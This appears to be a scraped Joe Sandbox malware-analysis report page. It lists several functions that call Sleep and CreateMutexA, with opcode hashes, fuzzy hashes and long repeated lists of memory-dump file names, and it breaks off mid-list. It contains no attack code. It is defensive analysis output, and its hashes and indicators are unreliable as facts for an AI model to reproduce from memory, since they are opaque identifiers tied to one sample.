Associated: 00000000.00000002.2089892631.00000000002BF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089912864.00000000002C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089912864.00000000002E7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089972997.0000000000313000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089995215.0000000000314000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2090013725.0000000000315000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2090033127.0000000000318000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2090051627.000000000031A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2090072776.0000000000329000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2090092082.000000000032B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000_file.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: da0b04091ecf1dc39b607d5446405238c4f580e76ae233416577911b941017b9
Instruction ID: a2c3c614c80c72fd8169452724478ca3db3a83b71235b08a819a65795676b7ab
Opcode Fuzzy Hash: da0b04091ecf1dc39b607d5446405238c4f580e76ae233416577911b941017b9
Instruction Fuzzy Hash: 34312A71B022009BEB189B78DDC97EEB762DF87314F248619E054973D6C77A99C08792

Function 0001A1AE Relevance: 3.1, APIs: 2, Instructions: 135
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000064), ref: 0001A963
CreateMutexA.KERNEL32(00000000,00000000,00073254), ref: 0001A981

Memory Dump Source

Source File: 00000000.00000002.2088431329.0000000000011000.00000040.00000001.01000000.00000003.sdmp, Offset: 00010000, based on PE: true

Associated: 00000000.00000002.2088407359.0000000000010000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2088431329.0000000000072000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2088519306.0000000000079000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2088547240.000000000007B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2088598038.0000000000087000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2088797694.00000000001DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2088848273.00000000001E0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2088891653.00000000001F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2088923988.00000000001F6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089066821.00000000001F9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089066821.0000000000203000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089123318.0000000000206000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089156782.000000000020A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089181029.000000000020B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089206071.000000000020C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089238164.0000000000214000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089265182.0000000000215000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089287923.000000000021D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089313959.000000000021E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089347846.0000000000231000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089372513.0000000000232000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089401031.0000000000234000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089438006.0000000000246000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089470009.0000000000264000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089497673.0000000000267000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089522955.0000000000268000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089550047.000000000026C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089574298.0000000000274000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089597510.0000000000279000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089623520.0000000000280000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089645994.0000000000282000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089668458.0000000000289000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089692920.000000000028F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089715491.0000000000296000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089738045.0000000000298000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089762468.0000000000299000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089784317.000000000029A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089805481.00000000002A2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089824819.00000000002A4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089849365.00000000002B1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089870053.00000000002B3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089892631.00000000002BF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089912864.00000000002C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089912864.00000000002E7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089972997.0000000000313000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089995215.0000000000314000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2090013725.0000000000315000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2090033127.0000000000318000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2090051627.000000000031A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2090072776.0000000000329000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2090092082.000000000032B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000_file.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: b1d7cd97617a28ff9272a74ce0c0b239410312f3d9ede071c30d3a7f0ad3e871
Instruction ID: 42636085132fc80be2632ab1768383cda08ba126cb543edabba1a82182d66f24
Opcode Fuzzy Hash: b1d7cd97617a28ff9272a74ce0c0b239410312f3d9ede071c30d3a7f0ad3e871
Instruction Fuzzy Hash: 2C310A31B422009BFB189B7CDCC97EEB762AF87314F248619E054972D5D77A99C08752

Function 0001A418 Relevance: 3.1, APIs: 2, Instructions: 133
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000064), ref: 0001A963
CreateMutexA.KERNEL32(00000000,00000000,00073254), ref: 0001A981

Memory Dump Source

Source File: 00000000.00000002.2088431329.0000000000011000.00000040.00000001.01000000.00000003.sdmp, Offset: 00010000, based on PE: true

Associated: 00000000.00000002.2088407359.0000000000010000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2088431329.0000000000072000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2088519306.0000000000079000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2088547240.000000000007B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2088598038.0000000000087000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2088797694.00000000001DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2088848273.00000000001E0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2088891653.00000000001F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2088923988.00000000001F6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089066821.00000000001F9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089066821.0000000000203000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089123318.0000000000206000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089156782.000000000020A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089181029.000000000020B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089206071.000000000020C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089238164.0000000000214000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089265182.0000000000215000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089287923.000000000021D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089313959.000000000021E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089347846.0000000000231000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089372513.0000000000232000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089401031.0000000000234000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089438006.0000000000246000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089470009.0000000000264000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089497673.0000000000267000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089522955.0000000000268000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089550047.000000000026C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089574298.0000000000274000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089597510.0000000000279000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089623520.0000000000280000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089645994.0000000000282000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089668458.0000000000289000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089692920.000000000028F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089715491.0000000000296000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089738045.0000000000298000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089762468.0000000000299000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089784317.000000000029A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089805481.00000000002A2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089824819.00000000002A4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089849365.00000000002B1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089870053.00000000002B3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089892631.00000000002BF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089912864.00000000002C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089912864.00000000002E7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089972997.0000000000313000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089995215.0000000000314000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2090013725.0000000000315000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2090033127.0000000000318000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2090051627.000000000031A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2090072776.0000000000329000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2090092082.000000000032B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000_file.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: 0a9fed40b1a963f03cd777805f8a194970c7341b997d666e3f950c6ef9347c6b
Instruction ID: 29d832ef9a8812c84580ab07b9720c37084382a21674d01c3db7abe78e438f43
Opcode Fuzzy Hash: 0a9fed40b1a963f03cd777805f8a194970c7341b997d666e3f950c6ef9347c6b
Instruction Fuzzy Hash: 24312C71B022009BEB189B7CD8CD7EDB762EFC3314F244219E095972D6D77999C08796

Function 0001A54D Relevance: 3.1, APIs: 2, Instructions: 132
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000064), ref: 0001A963
CreateMutexA.KERNEL32(00000000,00000000,00073254), ref: 0001A981

Memory Dump Source

Source File: 00000000.00000002.2088431329.0000000000011000.00000040.00000001.01000000.00000003.sdmp, Offset: 00010000, based on PE: true

Associated: 00000000.00000002.2088407359.0000000000010000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2088431329.0000000000072000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2088519306.0000000000079000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2088547240.000000000007B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2088598038.0000000000087000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2088797694.00000000001DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2088848273.00000000001E0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2088891653.00000000001F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2088923988.00000000001F6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089066821.00000000001F9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089066821.0000000000203000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089123318.0000000000206000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089156782.000000000020A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089181029.000000000020B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089206071.000000000020C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089238164.0000000000214000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089265182.0000000000215000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089287923.000000000021D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089313959.000000000021E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089347846.0000000000231000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089372513.0000000000232000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089401031.0000000000234000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089438006.0000000000246000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089470009.0000000000264000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089497673.0000000000267000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089522955.0000000000268000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089550047.000000000026C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089574298.0000000000274000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089597510.0000000000279000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089623520.0000000000280000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089645994.0000000000282000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089668458.0000000000289000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089692920.000000000028F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089715491.0000000000296000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089738045.0000000000298000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089762468.0000000000299000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089784317.000000000029A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089805481.00000000002A2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089824819.00000000002A4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089849365.00000000002B1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089870053.00000000002B3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089892631.00000000002BF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089912864.00000000002C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089912864.00000000002E7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089972997.0000000000313000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089995215.0000000000314000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2090013725.0000000000315000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2090033127.0000000000318000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2090051627.000000000031A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2090072776.0000000000329000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2090092082.000000000032B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000_file.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: 2dd4c25dc9815b00a0cb5ee743fb667a2bacdac1cb8766acbb7282a5bb7b8c85
Instruction ID: f4612dbf2d89c58fbdbe7b35ee1447dd275e7a7c9920017c4a281e077a018bce
Opcode Fuzzy Hash: 2dd4c25dc9815b00a0cb5ee743fb667a2bacdac1cb8766acbb7282a5bb7b8c85
Instruction Fuzzy Hash: 55314C317062008BEB18DB78DCC97EDB762EFC7314F248619E094972D2D73999C18752

Function 0001A682 Relevance: 3.1, APIs: 2, Instructions: 131
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000064), ref: 0001A963
CreateMutexA.KERNEL32(00000000,00000000,00073254), ref: 0001A981

Memory Dump Source

Source File: 00000000.00000002.2088431329.0000000000011000.00000040.00000001.01000000.00000003.sdmp, Offset: 00010000, based on PE: true

Associated: 00000000.00000002.2088407359.0000000000010000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2088431329.0000000000072000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2088519306.0000000000079000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2088547240.000000000007B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2088598038.0000000000087000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2088797694.00000000001DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2088848273.00000000001E0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2088891653.00000000001F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2088923988.00000000001F6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089066821.00000000001F9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089066821.0000000000203000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089123318.0000000000206000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089156782.000000000020A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089181029.000000000020B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089206071.000000000020C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089238164.0000000000214000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089265182.0000000000215000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089287923.000000000021D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089313959.000000000021E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089347846.0000000000231000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089372513.0000000000232000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089401031.0000000000234000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089438006.0000000000246000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089470009.0000000000264000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089497673.0000000000267000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089522955.0000000000268000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089550047.000000000026C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089574298.0000000000274000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089597510.0000000000279000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089623520.0000000000280000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089645994.0000000000282000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089668458.0000000000289000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089692920.000000000028F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089715491.0000000000296000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089738045.0000000000298000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089762468.0000000000299000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089784317.000000000029A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089805481.00000000002A2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089824819.00000000002A4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089849365.00000000002B1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089870053.00000000002B3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089892631.00000000002BF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089912864.00000000002C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089912864.00000000002E7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089972997.0000000000313000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089995215.0000000000314000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2090013725.0000000000315000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2090033127.0000000000318000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2090051627.000000000031A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2090072776.0000000000329000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2090092082.000000000032B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000_file.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: 04af74f2d4a503ffe04e16fe0df55f126141a3b27f796a43e0ff1f1f695e52f0
Instruction ID: 808c4d71ec1cdcd7294db2843a515a49891855c5abd7cfac414b09b08e4732fd
Opcode Fuzzy Hash: 04af74f2d4a503ffe04e16fe0df55f126141a3b27f796a43e0ff1f1f695e52f0
Instruction Fuzzy Hash: 8C314C317062008BEB18DB78DDC97EEB772DB86314F248619E054D72D6C7399AC18792

Function 00019ADC Relevance: 3.1, APIs: 2, Instructions: 107
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000064), ref: 0001A963
CreateMutexA.KERNEL32(00000000,00000000,00073254), ref: 0001A981

Memory Dump Source

Source File: 00000000.00000002.2088431329.0000000000011000.00000040.00000001.01000000.00000003.sdmp, Offset: 00010000, based on PE: true

Associated: 00000000.00000002.2088407359.0000000000010000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2088431329.0000000000072000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2088519306.0000000000079000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2088547240.000000000007B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2088598038.0000000000087000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2088797694.00000000001DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2088848273.00000000001E0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2088891653.00000000001F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2088923988.00000000001F6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089066821.00000000001F9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089066821.0000000000203000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089123318.0000000000206000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089156782.000000000020A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089181029.000000000020B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089206071.000000000020C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089238164.0000000000214000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089265182.0000000000215000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089287923.000000000021D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089313959.000000000021E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089347846.0000000000231000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089372513.0000000000232000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089401031.0000000000234000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089438006.0000000000246000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089470009.0000000000264000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089497673.0000000000267000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089522955.0000000000268000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089550047.000000000026C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089574298.0000000000274000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089597510.0000000000279000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089623520.0000000000280000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089645994.0000000000282000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089668458.0000000000289000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089692920.000000000028F000.00000040.00000001.01000000.00000003.sdmpDownload File
